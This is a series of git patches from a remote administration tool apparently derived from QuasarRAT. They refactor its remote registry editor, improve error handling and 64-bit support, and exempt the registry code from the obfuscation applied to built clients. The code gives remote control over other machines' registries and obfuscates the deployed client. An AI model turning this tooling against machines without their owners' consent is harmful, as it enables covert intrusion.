lstRegistryKeys.Invoke((MethodInvoker)delegate { //Can only rename if the value exists in the tag - if (key.Tag != null && key.Tag.GetType() == typeof(List)) + if (key.Tag != null && key.Tag.GetType() == typeof(RegValueData[])) { - List ValuesFromNode = (List)key.Tag; + List ValuesFromNode = ((RegValueData[])key.Tag).ToList(); var value = ValuesFromNode.Find(item => item.Name == oldName); value.Name = newName; @@ -383,9 +385,9 @@ public void ChangeValueFromList(string keyPath, RegValueData value) lstRegistryKeys.Invoke((MethodInvoker)delegate { //Can only change if the value exists in the tag - if (key.Tag != null && key.Tag.GetType() == typeof(List)) + if (key.Tag != null && key.Tag.GetType() == typeof(RegValueData[])) { - List ValuesFromNode = (List)key.Tag; + List ValuesFromNode = ((RegValueData[])key.Tag).ToList(); var regValue = ValuesFromNode.Find(item => item.Name == value.Name); regValue.Data = value.Data; @@ -413,21 +415,21 @@ private void UpdateLstRegistryKeys(TreeNode node) { selectedStripStatusLabel.Text = node.FullPath; - List ValuesFromNode = null; - if (node.Tag != null && node.Tag.GetType() == typeof(List)) + RegValueData[] ValuesFromNode = null; + if (node.Tag != null && node.Tag.GetType() == typeof(RegValueData[])) { - ValuesFromNode = (List)node.Tag; + ValuesFromNode = (RegValueData[])node.Tag; } PopulateLstRegistryKeys(ValuesFromNode); } - private void PopulateLstRegistryKeys(List values) + private void PopulateLstRegistryKeys(RegValueData[] values) { lstRegistryKeys.Items.Clear(); // Make sure that the passed values are usable - if (values != null && values.Count > 0) + if (values != null && values.Length > 0) { foreach (var value in values) { @@ -830,11 +832,11 @@ private void modifyRegistryValue_Click(object sender, EventArgs e) { if (tvRegistryDirectory.SelectedNode != null && lstRegistryKeys.SelectedItems.Count == 1) { - if (tvRegistryDirectory.SelectedNode.Tag != null && tvRegistryDirectory.SelectedNode.Tag.GetType() == typeof(List)) + if (tvRegistryDirectory.SelectedNode.Tag != null && tvRegistryDirectory.SelectedNode.Tag.GetType() == typeof(RegValueData[])) { string keyPath = tvRegistryDirectory.SelectedNode.FullPath; string name = lstRegistryKeys.SelectedItems[0].Name == DEFAULT_REG_VALUE ? "" : lstRegistryKeys.SelectedItems[0].Name; - RegValueData value = ((List)tvRegistryDirectory.SelectedNode.Tag).Find(item => item.Name == name); + RegValueData value = ((RegValueData[])tvRegistryDirectory.SelectedNode.Tag).ToList().Find(item => item.Name == name); //Initialize the right form to allow editing using (var frm = GetEditForm(keyPath, value, value.Kind)) @@ -850,11 +852,11 @@ private void modifyBinaryDataRegistryValue_Click(object sender, EventArgs e) { if (tvRegistryDirectory.SelectedNode != null && lstRegistryKeys.SelectedItems.Count == 1) { - if (tvRegistryDirectory.SelectedNode.Tag != null && tvRegistryDirectory.SelectedNode.Tag.GetType() == typeof(List)) + if (tvRegistryDirectory.SelectedNode.Tag != null && tvRegistryDirectory.SelectedNode.Tag.GetType() == typeof(RegValueData[])) { string keyPath = tvRegistryDirectory.SelectedNode.FullPath; string name = lstRegistryKeys.SelectedItems[0].Name == DEFAULT_REG_VALUE ? "" : lstRegistryKeys.SelectedItems[0].Name; - RegValueData value = ((List)tvRegistryDirectory.SelectedNode.Tag).Find(item => item.Name == name); + RegValueData value = ((RegValueData[])tvRegistryDirectory.SelectedNode.Tag).ToList().Find(item => item.Name == name); //Initialize binary editor using (var frm = GetEditForm(keyPath, value, RegistryValueKind.Binary)) From fd202b30cfbf7e3ae5b63ac587a5f5df8fdc87a7 Mon Sep 17 00:00:00 2001 From: StingRaptor Date: Mon, 14 Mar 2016 10:39:43 +0100 Subject: [PATCH 007/229] Removed unused using of xServer.Core.Extensions --- Client/Core/Registry/RegValueData.cs | 1 - Server/Core/Registry/RegValueData.cs | 1 - 2 files changed, 2 deletions(-) diff --git a/Client/Core/Registry/RegValueData.cs b/Client/Core/Registry/RegValueData.cs index 0d5cd7875..b2aa03422 100644 --- a/Client/Core/Registry/RegValueData.cs +++ b/Client/Core/Registry/RegValueData.cs @@ -3,7 +3,6 @@ using System.Collections.Generic; using System.Linq; using System.Text; -using xClient.Core.Extensions; namespace xClient.Core.Registry { diff --git a/Server/Core/Registry/RegValueData.cs b/Server/Core/Registry/RegValueData.cs index 27084c3d6..fffbe7ef3 100644 --- a/Server/Core/Registry/RegValueData.cs +++ b/Server/Core/Registry/RegValueData.cs @@ -3,7 +3,6 @@ using System.Collections.Generic; using System.Linq; using System.Text; -using xServer.Core.Extensions; namespace xServer.Core.Registry { From f14f38b0dea62951ce3f524c8deae5efa37267db Mon Sep 17 00:00:00 2001 From: StingRaptor Date: Mon, 14 Mar 2016 10:30:30 +0100 Subject: [PATCH 008/229] Added Registry namespace as a exception to Renamer - Added Registry namespace as a exception to prevent obfuscation that causes built clients to crash when the RegistryEditor is opened --- Server/Core/Build/Renamer.cs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/Server/Core/Build/Renamer.cs b/Server/Core/Build/Renamer.cs index 844d7ea95..a600075e5 100644 --- a/Server/Core/Build/Renamer.cs +++ b/Server/Core/Build/Renamer.cs @@ -56,7 +56,8 @@ public bool Perform() private void RenameInType(TypeDefinition typeDef) { - if (typeDef.Namespace.Contains("NetSerializer") || typeDef.HasInterfaces) + if (typeDef.Namespace.Contains("NetSerializer") + || typeDef.Namespace.Contains("Registry") || typeDef.HasInterfaces) return; _typeOverloader.GiveName(typeDef); From 8c5ace81969a388e40d69c080096cae09caee95d Mon Sep 17 00:00:00 2001 From: StingRaptor Date: Tue, 15 Mar 2016 08:32:04 +0100 Subject: [PATCH 009/229] Changed error messages to better state the cause - Changed error messages for when key fails to be opened as writable - State 'write access' problem instead of failure to open --- Client/Core/Registry/RegistryEditor.cs | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/Client/Core/Registry/RegistryEditor.cs b/Client/Core/Registry/RegistryEditor.cs index a600cb173..b46bd7f7c 100644 --- a/Client/Core/Registry/RegistryEditor.cs +++ b/Client/Core/Registry/RegistryEditor.cs @@ -55,7 +55,7 @@ public static bool CreateRegistryKey(string parentPath, out string name, out str //Invalid can not open parent if (parent == null) { - errorMsg = "You do not have access to open registry: " + parentPath + ", try running client as administrator"; + errorMsg = "You do not have write access to registry: " + parentPath + ", try running client as administrator"; return false; } @@ -108,7 +108,7 @@ public static bool DeleteRegistryKey(string name, string parentPath, out string //Invalid can not open parent if (parent == null) { - errorMsg = "You do not have access to open registry: " + parentPath + ", try running client as administrator"; + errorMsg = "You do not have write access to registry: " + parentPath + ", try running client as administrator"; return false; } @@ -158,7 +158,7 @@ public static bool RenameRegistryKey(string oldName, string newName, string pare //Invalid can not open parent if (parent == null) { - errorMsg = "You do not have access to open registry: " + parentPath + ", try running client as administrator"; + errorMsg = "You do not have write access to registry: " + parentPath + ", try running client as administrator"; return false; } @@ -212,7 +212,7 @@ public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, o //Invalid can not open key if (key == null) { - errorMsg = "You do not have access to open registry: " + keyPath + ", try running client as administrator"; + errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator"; return false; } @@ -264,7 +264,7 @@ public static bool DeleteRegistryValue(string keyPath, string name, out string e //Invalid can not open key if (key == null) { - errorMsg = "You do not have access to open registry: " + keyPath + ", try running client as administrator"; + errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator"; return false; } @@ -314,7 +314,7 @@ public static bool RenameRegistryValue(string oldName, string newName, string ke //Invalid can not open key if (key == null) { - errorMsg = "You do not have access to open registry: " + keyPath + ", try running client as administrator"; + errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator"; return false; } @@ -365,10 +365,10 @@ public static bool ChangeRegistryValue(RegValueData value, string keyPath, out s //Invalid can not open key if (key == null) { - errorMsg = "You do not have access to open registry: " + keyPath + ", try running client as administrator"; + errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator"; return false; } - + //Value does not exist if (!key.ContainsValue(value.Name)) { From a1f4f192caaa1e0982f1f2d2c81a7762bb42039d Mon Sep 17 00:00:00 2001 From: StingRaptor Date: Tue, 15 Mar 2016 09:52:30 +0100 Subject: [PATCH 010/229] Refactored parts of the modified code. - Updated modified data in RegistryHandler.cs, RegistrySeeker.cs and RegistrySeekerMatch.cs. - Removed unused class RegistrySeekerParams.cs. - Removed unused enum RegistrySearchAction.cs. - Removed unused functions from Client/Core/Extensions/RegistryKeyExtensions.cs. - Removed unused MatchFoundEventArgs, SearchCompleteEventArgs from RegistrySeeker.cs. - Updated/Refactored comments in RegistryEditor.cs. --- Client/Client.csproj | 2 - Client/Core/Commands/RegistryHandler.cs | 3 +- .../Core/Extensions/RegistryKeyExtensions.cs | 44 ------------------- Client/Core/Registry/RegSeekerMatch.cs | 3 +- Client/Core/Registry/RegistryEditor.cs | 18 ++++---- Client/Core/Registry/RegistrySeeker.cs | 25 ++--------- Client/Core/Registry/RegistrySeekerParams.cs | 32 -------------- Client/Enums/RegistrySearchAction.cs | 30 ------------- Server/Core/Commands/RegistryHandler.cs | 8 ++-- Server/Core/Registry/RegSeekerMatch.cs | 3 +- 10 files changed, 20 insertions(+), 148 deletions(-) delete mode 100644 Client/Core/Registry/RegistrySeekerParams.cs delete mode 100644 Client/Enums/RegistrySearchAction.cs diff --git a/Client/Client.csproj b/Client/Client.csproj index 159a4a956..d6af4b77d 100644 --- a/Client/Client.csproj +++ b/Client/Client.csproj @@ -119,7 +119,6 @@ - @@ -234,7 +233,6 @@ - diff --git a/Client/Core/Commands/RegistryHandler.cs b/Client/Core/Commands/RegistryHandler.cs index 97f01869a..98ca63dc0 100644 --- a/Client/Core/Commands/RegistryHandler.cs +++ b/Client/Core/Commands/RegistryHandler.cs @@ -18,9 +18,8 @@ namespace xClient.Core.Commands * modified partially. * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * Modified by StingRaptor on January 21, 2016 + * Modified by StingRaptor on March 15, 2016 * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - * Original Source: - * https://github.com/quasar/QuasarRAT/blob/regedit/Client/Core/Commands/RegistryHandler.cs */ /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE REGISTRY. */ diff --git a/Client/Core/Extensions/RegistryKeyExtensions.cs b/Client/Core/Extensions/RegistryKeyExtensions.cs index 014fdb95d..16a84fb62 100644 --- a/Client/Core/Extensions/RegistryKeyExtensions.cs +++ b/Client/Core/Extensions/RegistryKeyExtensions.cs @@ -375,50 +375,6 @@ public static IEnumerable GetFormattedKeyValues(this RegistryKey key) } } - public static string RegistryTypeToString(this RegistryValueKind valueKind, object valueData) - { - switch (valueKind) - { - case RegistryValueKind.Binary: - return ((byte[])valueData).Length > 0 ? BitConverter.ToString((byte[])valueData).Replace("-", " ").ToLower() : "(zero-length binary value)"; - case RegistryValueKind.MultiString: - return string.Join(" ", (string[])valueData); - case RegistryValueKind.DWord: //Convert with hexadecimal before int - return String.Format("0x{0} ({1})", ((uint)((int)valueData)).ToString("X8").ToLower(), ((uint)((int)valueData)).ToString()); - case RegistryValueKind.QWord: - return String.Format("0x{0} ({1})", ((ulong)((long)valueData)).ToString("X8").ToLower(), ((ulong)((long)valueData)).ToString()); - case RegistryValueKind.String: - case RegistryValueKind.ExpandString: - return valueData.ToString(); - case RegistryValueKind.Unknown: - default: - return string.Empty; - } - } - - public static string RegistryTypeToString(this RegistryValueKind valueKind) - { - switch (valueKind) - { - case RegistryValueKind.Binary: - return "REG_BINARY"; - case RegistryValueKind.MultiString: - return "REG_MULTI_SZ"; - case RegistryValueKind.DWord: - return "REG_DWORD"; - case RegistryValueKind.QWord: - return "REG_QWORD"; - case RegistryValueKind.String: - return "REG_SZ"; - case RegistryValueKind.ExpandString: - return "REG_EXPAND_SZ"; - case RegistryValueKind.Unknown: - return "(Unknown)"; - default: - return "REG_NONE"; - } - } - public static object GetDefault(this RegistryValueKind valueKind) { switch (valueKind) diff --git a/Client/Core/Registry/RegSeekerMatch.cs b/Client/Core/Registry/RegSeekerMatch.cs index a62a301de..526b9df4e 100644 --- a/Client/Core/Registry/RegSeekerMatch.cs +++ b/Client/Core/Registry/RegSeekerMatch.cs @@ -13,9 +13,8 @@ namespace xClient.Core.Registry * modified partially. * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * Modified by StingRaptor on January 21, 2016 + * Modified by StingRaptor on March 15, 2016 * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - * Original Source: - * https://github.com/quasar/QuasarRAT/blob/regedit/Client/Core/Registry/RegSeekerMatch.cs */ [Serializable] diff --git a/Client/Core/Registry/RegistryEditor.cs b/Client/Core/Registry/RegistryEditor.cs index b46bd7f7c..d1a8ab29f 100644 --- a/Client/Core/Registry/RegistryEditor.cs +++ b/Client/Core/Registry/RegistryEditor.cs @@ -43,7 +43,7 @@ public class RegistryEditor /// The path to the parent for which to create the sub-key on. /// output parameter that holds the name of the sub-key that was create. /// output parameter that contians possible error message. - /// Returns boolean value for if the operation failed or succeded. + /// Returns true if action succeeded. public static bool CreateRegistryKey(string parentPath, out string name, out string errorMsg) { name = ""; @@ -98,7 +98,7 @@ public static bool CreateRegistryKey(string parentPath, out string name, out str /// The name of the sub-key to delete. /// The path to the parent for which to delete the sub-key on. /// output parameter that contians possible error message. - /// Returns boolean value for if the operation failed or succeded. + /// Returns true if the operation succeeded. public static bool DeleteRegistryKey(string name, string parentPath, out string errorMsg) { try @@ -116,7 +116,7 @@ public static bool DeleteRegistryKey(string name, string parentPath, out string if (!parent.ContainsSubKey(name)) { errorMsg = "The registry: " + name + " does not exist in: " + parentPath; - //If child does not exists then the action has already succeded + //If child does not exists then the action has already succeeded return true; } @@ -147,7 +147,7 @@ public static bool DeleteRegistryKey(string name, string parentPath, out string /// The name to use for renaming. /// The path of the parent for which to rename the key. /// output parameter that contians possible error message. - /// Returns boolean value for if the operation failed or succeded. + /// Returns true if the operation succeeded. public static bool RenameRegistryKey(string oldName, string newName, string parentPath, out string errorMsg) { try @@ -201,7 +201,7 @@ public static bool RenameRegistryKey(string oldName, string newName, string pare /// The type of the registry value to create. /// output parameter that holds the name of the registry value that was create. /// output parameter that contians possible error message. - /// Returns boolean value for if the operation failed or succeded. + /// Returns true if the operation succeeded. public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, out string name, out string errorMsg) { name = ""; @@ -254,7 +254,7 @@ public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, o /// The path to the key for which to delete the registry value on. /// /// The name of the registry value to delete. /// output parameter that contians possible error message. - /// Returns boolean value for if the operation failed or succeded. + /// Returns true if the operation succeeded. public static bool DeleteRegistryValue(string keyPath, string name, out string errorMsg) { try @@ -272,7 +272,7 @@ public static bool DeleteRegistryValue(string keyPath, string name, out string e if (!key.ContainsValue(name)) { errorMsg = "The value: " + name + " does not exist in: " + keyPath; - //If value does not exists then the action has already succeded + //If value does not exists then the action has already succeeded return true; } @@ -303,7 +303,7 @@ public static bool DeleteRegistryValue(string keyPath, string name, out string e /// The name to use for renaming. /// The path of the key for which to rename the registry value. /// output parameter that contians possible error message. - /// Returns boolean value for if the operation failed or succeded. + /// Returns true if the operation succeeded. public static bool RenameRegistryValue(string oldName, string newName, string keyPath, out string errorMsg) { try @@ -355,7 +355,7 @@ public static bool RenameRegistryValue(string oldName, string newName, string ke /// The path to the key for which to change the /// value of the registry value on. /// output parameter that contians possible error message. - /// Returns boolean value for if the operation failed or succeded. + /// Returns true if the operation succeeded. public static bool ChangeRegistryValue(RegValueData value, string keyPath, out string errorMsg) { try diff --git a/Client/Core/Registry/RegistrySeeker.cs b/Client/Core/Registry/RegistrySeeker.cs index f100722f3..4764fb011 100644 --- a/Client/Core/Registry/RegistrySeeker.cs +++ b/Client/Core/Registry/RegistrySeeker.cs @@ -16,33 +16,14 @@ namespace xClient.Core.Registry * has been modified to suit the needs of another * application. * (This has been taken from Justin Yanke's branch) - * First Modified by Justin Yanke on August 15, 2015 - * Second Modified by StingRaptor on January 21, 2016 + * Modified by Justin Yanke on August 15, 2015 + * Modified by StingRaptor on January 21, 2016 + * Modified by StingRaptor on March 15, 2016 * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * Unmodified Source: * https://regexplore.codeplex.com/SourceControl/latest#Registry/RegSearcher.cs */ - public class MatchFoundEventArgs : EventArgs - { - public RegSeekerMatch Match { get; private set; } - - public MatchFoundEventArgs(RegSeekerMatch match) - { - Match = match; - } - } - - public class SearchCompletedEventArgs : EventArgs - { - public List Matches { get; private set; } - - public SearchCompletedEventArgs(List matches) - { - Matches = matches; - } - } - public class RegistrySeeker { #region CONSTANTS diff --git a/Client/Core/Registry/RegistrySeekerParams.cs b/Client/Core/Registry/RegistrySeekerParams.cs deleted file mode 100644 index 0ccca5504..000000000 --- a/Client/Core/Registry/RegistrySeekerParams.cs +++ /dev/null @@ -1,32 +0,0 @@ -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xClient.Enums; - -namespace xClient.Core.Registry -{ - /* - * Derived and Adapted By Justin Yanke - * github: https://github.com/yankejustin - * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - * This code is created by Justin Yanke and has only been - * modified partially. - * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - * Modified by StingRaptor on January 21, 2016 - * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - * Original Source: - * https://github.com/quasar/QuasarRAT/blob/regedit/Client/Core/Registry/RegistrySeekerParams.cs - */ - - public class RegistrySeekerParams - { - public RegistryKey RootKey { get; set; } - - public RegistrySeekerParams(RegistryKey registryKey) - { - this.RootKey = registryKey; - } - } -} diff --git a/Client/Enums/RegistrySearchAction.cs b/Client/Enums/RegistrySearchAction.cs deleted file mode 100644 index ce9d4f770..000000000 --- a/Client/Enums/RegistrySearchAction.cs +++ /dev/null @@ -1,30 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; - -namespace xClient.Enums -{ - /* - * Derived and Adapted By Justin Yanke - * github: https://github.com/yankejustin - * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - * This code is created by Justin Yanke. - * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - * No modifications made - * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - * Original Source: - * https://github.com/quasar/QuasarRAT/blob/regedit/Client/Enums/RegistrySearchAction.cs - */ - - /// - /// Specifies the items to retrieve and send when searching the registry. - /// - [Flags] - public enum RegistrySearchAction - { - Keys, - Values, - Data - } -} diff --git a/Server/Core/Commands/RegistryHandler.cs b/Server/Core/Commands/RegistryHandler.cs index d17c7a041..3aee6de52 100644 --- a/Server/Core/Commands/RegistryHandler.cs +++ b/Server/Core/Commands/RegistryHandler.cs @@ -9,6 +9,10 @@ namespace xServer.Core.Commands /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE REGISTRY. */ public static partial class CommandHandler { + + + #region Registry Key + public static void HandleLoadRegistryKey(xServer.Core.Packets.ClientPackets.GetRegistryKeysResponse packet, Client client) { try @@ -27,8 +31,6 @@ public static void HandleLoadRegistryKey(xServer.Core.Packets.ClientPackets.GetR { } } - #region Registry Key Edit - public static void HandleCreateRegistryKey(xServer.Core.Packets.ClientPackets.GetCreateRegistryKeyResponse packet, Client client) { try @@ -91,7 +93,7 @@ public static void HandleRenameRegistryKey(xServer.Core.Packets.ClientPackets.Ge #endregion - #region Registry Value Edit + #region Registry Value public static void HandleCreateRegistryValue(xServer.Core.Packets.ClientPackets.GetCreateRegistryValueResponse packet, Client client) { diff --git a/Server/Core/Registry/RegSeekerMatch.cs b/Server/Core/Registry/RegSeekerMatch.cs index bf0a348e0..a4d7a7da5 100644 --- a/Server/Core/Registry/RegSeekerMatch.cs +++ b/Server/Core/Registry/RegSeekerMatch.cs @@ -13,9 +13,8 @@ namespace xServer.Core.Registry * modified partially. * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * Modified by StingRaptor on January 21, 2016 + * Modified by StingRaptor on March 15, 2016 * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - * Original Source: - * https://github.com/quasar/QuasarRAT/blob/regedit/Server/Core/Utilities/RegSeekerMatch.cs */ [Serializable] From 53e1f8ef66307a8e5172e3710d8edf02466129fa Mon Sep 17 00:00:00 2001 From: MaxXor Date: Tue, 15 Mar 2016 14:20:27 +0100 Subject: [PATCH 011/229] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index f7d681ebf..7a1a45447 100644 --- a/README.md +++ b/README.md @@ -73,7 +73,7 @@ See [LICENSE.md](/LICENSE.md) Donate --- -BTC: `1EWgMfBw1fUSWMfat9oY8t8qRjCRiMEbET` +Bitcoin: `1M18ncC8yGRXG6vRTfj2hJENLfx46ipw2d` Credits --- From 287101573b8fa5f43706e74d8af6200c4a902d79 Mon Sep 17 00:00:00 2001 From: StingRaptor Date: Tue, 15 Mar 2016 15:31:35 +0100 Subject: [PATCH 012/229] Fixed bug with RegistryEditor not working correctly in 64-bit systems - Made changes to RegistrySeeker.cs to use OpenBaseKey instead of the root keys provided by Registy. - Added error handling to handle exception from RegistrySeeker. - Added Server-side code to display errors and close the RegistryEditor if root registry keys have failed to be retrieved. --- Client/Core/Commands/RegistryHandler.cs | 9 ++- .../ClientPackets/GetRegistryKeysResponse.cs | 13 +--- Client/Core/Registry/RegistrySeeker.cs | 78 ++++++++++++------- Server/Core/Commands/RegistryHandler.cs | 20 +++-- .../ClientPackets/GetRegistryKeysResponse.cs | 13 +--- Server/Forms/FrmRegistryEditor.cs | 34 +++++--- 6 files changed, 97 insertions(+), 70 deletions(-) diff --git a/Client/Core/Commands/RegistryHandler.cs b/Client/Core/Commands/RegistryHandler.cs index 98ca63dc0..1f48196e8 100644 --- a/Client/Core/Commands/RegistryHandler.cs +++ b/Client/Core/Commands/RegistryHandler.cs @@ -36,10 +36,15 @@ public static void HandleGetRegistryKey(xClient.Core.Packets.ServerPackets.DoLoa RegistrySeeker seeker = new RegistrySeeker(); seeker.BeginSeeking(packet.RootKeyName); - responsePacket.RootKey = packet.RootKeyName; responsePacket.Matches = seeker.Matches; + responsePacket.IsError = false; } - catch { } + catch (Exception e) + { + responsePacket.IsError = true; + responsePacket.ErrorMsg = e.Message; + } + responsePacket.RootKey = packet.RootKeyName; responsePacket.Execute(client); }).Start(); } diff --git a/Client/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs b/Client/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs index 32b1af101..279b76e74 100644 --- a/Client/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs +++ b/Client/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs @@ -14,19 +14,12 @@ public class GetRegistryKeysResponse : IPacket public string RootKey { get; set; } - public GetRegistryKeysResponse() - { } + public bool IsError { get; set; } + public string ErrorMsg { get; set; } - public GetRegistryKeysResponse(RegSeekerMatch match, string rootKey = null) - : this(new RegSeekerMatch[] { match }, rootKey) + public GetRegistryKeysResponse() { } - public GetRegistryKeysResponse(RegSeekerMatch[] matches, string rootKey = null) - { - Matches = matches; - RootKey = rootKey; - } - public void Execute(Client client) { client.Send(this); diff --git a/Client/Core/Registry/RegistrySeeker.cs b/Client/Core/Registry/RegistrySeeker.cs index 4764fb011..395e48901 100644 --- a/Client/Core/Registry/RegistrySeeker.cs +++ b/Client/Core/Registry/RegistrySeeker.cs @@ -26,21 +26,6 @@ namespace xClient.Core.Registry public class RegistrySeeker { - #region CONSTANTS - - /// - /// An array containing all of the root keys for the registry. - /// - public static readonly RegistryKey[] ROOT_KEYS = new RegistryKey[] - { - Microsoft.Win32.Registry.ClassesRoot, - Microsoft.Win32.Registry.CurrentUser, - Microsoft.Win32.Registry.LocalMachine, - Microsoft.Win32.Registry.Users, - Microsoft.Win32.Registry.CurrentConfig - }; - - #endregion #region Fields @@ -105,7 +90,7 @@ private void Seek(RegistryKey rootKey) // Get root registrys if (rootKey == null) { - foreach (RegistryKey key in RegistrySeeker.ROOT_KEYS) + foreach (RegistryKey key in GetRootKeys()) //Just need root key so process it ProcessKey(key, key.Name); } @@ -157,23 +142,56 @@ private void AddMatch(string key, RegValueData[] values, int subkeycount) public static RegistryKey GetRootKey(string subkey_fullpath) { string[] path = subkey_fullpath.Split('\\'); + try + { + switch (path[0]) // <== root; + { + case "HKEY_CLASSES_ROOT": + return RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry64); + case "HKEY_CURRENT_USER": + return RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64); + case "HKEY_LOCAL_MACHINE": + return RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64); + case "HKEY_USERS": + return RegistryKey.OpenBaseKey(RegistryHive.Users, RegistryView.Registry64); + case "HKEY_CURRENT_CONFIG": + return RegistryKey.OpenBaseKey(RegistryHive.CurrentConfig, RegistryView.Registry64); + default: + /* If none of the above then the key must be invalid */ + throw new Exception("Invalid rootkey, could not be found."); + } + } + catch (SystemException) + { + throw new Exception("Unable to open root registry key, you do not have the needed permissions."); + } + catch(Exception e) + { + throw e; + } + } - switch (path[0]) // <== root; + public static List GetRootKeys() + { + List rootKeys = new List(); + try { - case "HKEY_CLASSES_ROOT": - return Microsoft.Win32.Registry.ClassesRoot; - case "HKEY_CURRENT_USER": - return Microsoft.Win32.Registry.CurrentUser; - case "HKEY_LOCAL_MACHINE": - return Microsoft.Win32.Registry.LocalMachine; - case "HKEY_USERS": - return Microsoft.Win32.Registry.Users; - case "HKEY_CURRENT_CONFIG": - return Microsoft.Win32.Registry.CurrentConfig; - default: - /* If none of the above then the key must be invalid */ - throw new Exception("Invalid rootkey, could not be found"); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry64)); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64)); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64)); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.Users, RegistryView.Registry64)); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.CurrentConfig, RegistryView.Registry64)); } + catch (SystemException) + { + throw new Exception("Could not open root registry keys, you may not have the needed permission"); + } + catch (Exception e) + { + throw e; + } + + return rootKeys; } } } diff --git a/Server/Core/Commands/RegistryHandler.cs b/Server/Core/Commands/RegistryHandler.cs index 3aee6de52..a22f65be9 100644 --- a/Server/Core/Commands/RegistryHandler.cs +++ b/Server/Core/Commands/RegistryHandler.cs @@ -17,18 +17,26 @@ public static void HandleLoadRegistryKey(xServer.Core.Packets.ClientPackets.GetR { try { - // Make sure that we can use the packet. - if (packet.Matches != null && packet.Matches.Length > 0) + // Make sure that the client is in the correct state to handle the packet appropriately. + if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) { - // Make sure that the client is in the correct state to handle the packet appropriately. - if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) + if (!packet.IsError) { client.Value.FrmRe.AddKeysToTree(packet.RootKey, packet.Matches); } + else + { + client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); + //If root keys failed to load then close the form + if (packet.RootKey == null) + { + //Invoke a closing of the form + client.Value.FrmRe.PerformClose(); + } + } } } - catch - { } + catch { } } public static void HandleCreateRegistryKey(xServer.Core.Packets.ClientPackets.GetCreateRegistryKeyResponse packet, Client client) diff --git a/Server/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs b/Server/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs index e78a80e73..9588bb93c 100644 --- a/Server/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs +++ b/Server/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs @@ -14,19 +14,12 @@ public class GetRegistryKeysResponse : IPacket public string RootKey { get; set; } - public GetRegistryKeysResponse() - { } + public bool IsError { get; set; } + public string ErrorMsg { get; set; } - public GetRegistryKeysResponse(RegSeekerMatch match, string rootKey = null) - : this(new RegSeekerMatch[] { match }, rootKey) + public GetRegistryKeysResponse() { } - public GetRegistryKeysResponse(RegSeekerMatch[] matches, string rootKey = null) - { - Matches = matches; - RootKey = rootKey; - } - public void Execute(Client client) { client.Send(this); diff --git a/Server/Forms/FrmRegistryEditor.cs b/Server/Forms/FrmRegistryEditor.cs index adb17c3dd..79ae6288f 100644 --- a/Server/Forms/FrmRegistryEditor.cs +++ b/Server/Forms/FrmRegistryEditor.cs @@ -62,6 +62,27 @@ private void FrmRegistryEditor_FormClosing(object sender, FormClosingEventArgs e _connectClient.Value.FrmRe = null; } + #endregion + + #region Helperfunctions + + public void ShowErrorMessage(string errorMsg) + { + this.Invoke((MethodInvoker)delegate + { + MessageBox.Show(errorMsg, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + }); + + } + + public void PerformClose() + { + this.Invoke((MethodInvoker)delegate + { + this.Close(); + }); + } + #endregion #region TreeView Helperfunctions @@ -248,18 +269,7 @@ private TreeNode GetTreeNode(string path) #endregion - #region Popup actions - - public void ShowErrorMessage(string errorMsg) 